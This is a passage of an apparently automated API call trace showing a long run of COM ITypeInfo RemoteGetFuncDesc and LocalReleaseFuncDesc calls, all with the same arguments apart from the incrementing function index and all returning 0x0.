ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x34, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.452] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.452] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x35, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.452] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.452] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x36, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.452] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.452] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x37, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.452] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.452] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x38, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.452] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.452] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x39, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.452] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.452] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3a, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.452] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.452] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3b, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.452] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.452] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3c, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.452] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.452] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3d, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.452] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.452] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3e, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.452] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.452] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3f, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.452] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.452] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x40, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.452] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.452] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x41, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.452] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.453] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x42, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.453] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.453] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x43, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.453] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.453] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x44, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.453] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.453] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x45, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.453] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.453] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x46, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.453] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.453] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x47, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.453] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.453] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x48, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.453] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.453] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x49, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.453] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.453] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4a, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.453] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.453] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4b, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.453] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.455] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4c, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.455] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.455] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4d, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.455] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.455] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4e, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.455] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.455] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4f, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.455] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.455] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x50, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.455] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.455] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x51, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.455] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.455] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x52, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.455] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.455] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x53, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.455] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.455] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x54, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.455] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.455] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x55, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.455] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.455] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x56, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.455] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.455] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x57, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.455] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.455] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x58, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.456] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.456] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x59, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.456] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.457] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5a, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.457] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.457] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5b, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.457] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.457] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5c, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.457] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.457] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5d, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.457] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.457] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5e, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.457] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.457] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5f, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.457] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.457] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x60, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.457] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.457] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x61, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.457] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.457] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x62, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.457] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.457] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x63, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.457] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.457] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x64, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.457] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.457] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x65, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.457] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.457] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x66, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.457] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.457] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x67, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.458] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.458] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x68, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.458] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.458] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x69, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.458] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.458] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6a, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.458] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.458] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6b, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.458] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.458] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6c, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.458] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.458] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6d, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.458] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.458] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6e, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.458] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.458] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6f, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.459] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.459] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x70, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.459] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.459] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x71, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.459] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.459] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x72, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.459] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.459] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x73, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.459] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.459] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x74, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.459] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.459] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x75, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.459] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.459] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x76, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.459] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.459] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x77, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.459] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.459] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x78, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.459] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.459] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x79, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.459] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.459] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7a, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.459] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.459] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7b, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.459] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.459] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7c, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.459] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.459] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7d, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.459] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.459] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7e, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.460] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.460] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7f, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.460] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.460] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x80, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.460] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.460] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x81, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.460] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.460] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x82, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.460] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.460] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x83, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.460] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.460] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x84, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.460] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.460] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x85, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.460] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.460] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x86, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.460] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.460] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x87, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.460] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.460] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x88, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.460] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.460] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x89, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.460] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.460] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8a, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.460] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.460] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8b, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.460] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.460] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8c, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.460] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.460] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8d, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.460] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.460] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8e, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.460] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.460] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8f, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.460] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.460] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x90, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.460] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.460] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x91, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.460] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.460] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x92, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.460] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.460] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x93, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.460] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.460] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x94, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.460] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.460] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x95, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.460] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.461] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x96, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.461] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.461] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x97, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.461] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.461] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x98, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.461] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.461] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x99, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.461] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.461] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9a, ppFuncDesc=0x127328, pDummy=0xa0 | out: 